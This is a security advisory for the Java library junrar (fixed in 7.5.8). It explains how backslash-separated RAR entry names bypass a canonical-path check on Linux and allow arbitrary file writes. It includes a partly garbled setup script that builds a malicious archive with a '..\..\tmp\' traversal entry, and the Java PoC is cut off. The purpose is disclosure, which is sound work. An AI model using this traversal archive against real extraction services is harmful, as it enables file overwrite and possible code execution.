GHSA-j273-m5qq-6825 Junrar has an arbitrary file write due to backslash Path Traversal bypass in LocalFolderExtractor on Linux/Unix

• Maven com.github.junrar:junrar: < 7.5.8 → fixed in 7.5.8

Summary A backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc). Details The `createFile()` method in `LocalFolderExtractor.java` validates extraction paths using `getCanonicalPath().startsWith()` to ensure files stay within the destination directory: ```java File f = new File(destination, name); String dirCanonPath = f.getCanonicalPath(); if (!dirCanonPath.startsWith(destination.getCanonicalPath())) { throw new IllegalStateException("Rar contains file with invalid path: '" + dirCanonPath + "'"); } ``` On Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named `..\..\tmp\evil.txt` is treated by `getCanonicalPath()` as a single literal filename containing backslash characters — no `..` resolution occurs, and the `startsWith` check passes. However, `makeFile()` then splits the filename on backslashes and reconstructs the path using the platform's file separator: ```java final String[] dirs = name.split("\\\\"); // dirs = ["..", "..", "tmp", "evil.txt"] // ... path = path + File.separator + dirs[i]; // File.separator is "/" on Linux ``` This converts the literal backslashes into real directory traversal: `../../tmp/evil.txt`. The `extract()` method then opens a `FileOutputStream` on this path and writes the RAR entry's content to it, achieving arbitrary file write outside the extraction directory. On Windows this is not exploitable because backslashes are path separators, so `getCanonicalPath()` correctly resolves the `..` components and the `startsWith` check blocks the traversal. Affected versions: Tested on 7.5.7 (latest). Likely affects all versions that include the `makeFile()` backslash-splitting logic in `LocalFolderExtractor`. PoC (Files Below) Prerequisites: Linux/Unix system with Java 17+ and Maven installed. 1. Run `bash poc_setup.sh` which installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (`..\..\tmp\existing-file`), and creates `/tmp/existing-file` with the content "Existing File" to simulate a pre-existing file. 2. Run `mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q` 3. Observe the output shows `/tmp/existing-file` was overwritten from "Existing File" to "Overwritten", confirming the file outside the extraction directory was written with attacker-controlled content. The PoC uses `Junrar.extract()` — the standard public API for extracting RAR archives. Impact Any application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE. This affects all Linux/Unix deployments. Windows is not affected. POC Files poc_setup.sh ``` !/bin/bash Setup script for junrar backslash path traversal PoC Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor Package: com.github.junrar:junrar 7.5.7 (Java) set -e Use the directory where this script lives as the working directory SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" cd "$SCRIPT_DIR" echo "=== Setting up junrar backslash path traversal PoC ===" echo "Working directory: $SCRIPT_DIR" Clean up artifacts from previous runs rm -f malicious.rar rm -rf target extraction-output Verify Java and Maven are available java -version 2>&1 | head -1 || { echo "ERROR: Java not found"; exit 1; } mvn -version 2>&1 | head -1 || { echo "ERROR: Maven not found"; exit 1; } Create Maven project cat > pom.xml 4.0.0 com.test junrar-poc 1.0 jar 17 17 UTF-8 com.github.junrar junrar 7.5.7 POMEOF Install dependencies echo "Installing junrar 7.5.7..." mvn dependency:resolve -q Copy and compile PoC mkdir -p src/main/java/com/test cp poc.java src/main/java/com/test/BackslashTraversalPoC.java echo "Compiling PoC..." mvn compile -q Verify junrar version echo "Installed: junrar 7.5.7" Create the malicious RAR3 archive: Entry 1: file with name "..\..\tmp\existing-file" containing "Overwritten" On Linux, createFile() validates the path using getCanonicalPath().startsWith(). Since backslashes are literal characters on Linux, getCanonicalPath() does NOT resolve the ".." components, so the check passes. makeFile() then splits on backslashes and joins with File.separator (/), converting the literal backslashes into real directory traversal: ../../tmp/existing-file python3 /tmp/existing-file echo "" echo "=== Setup complete ===" echo "Validate: cat /tmp/existing-file (should show 'Existing File')" echo "Run PoC: mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q" ``` poc.java ``` package com.test;…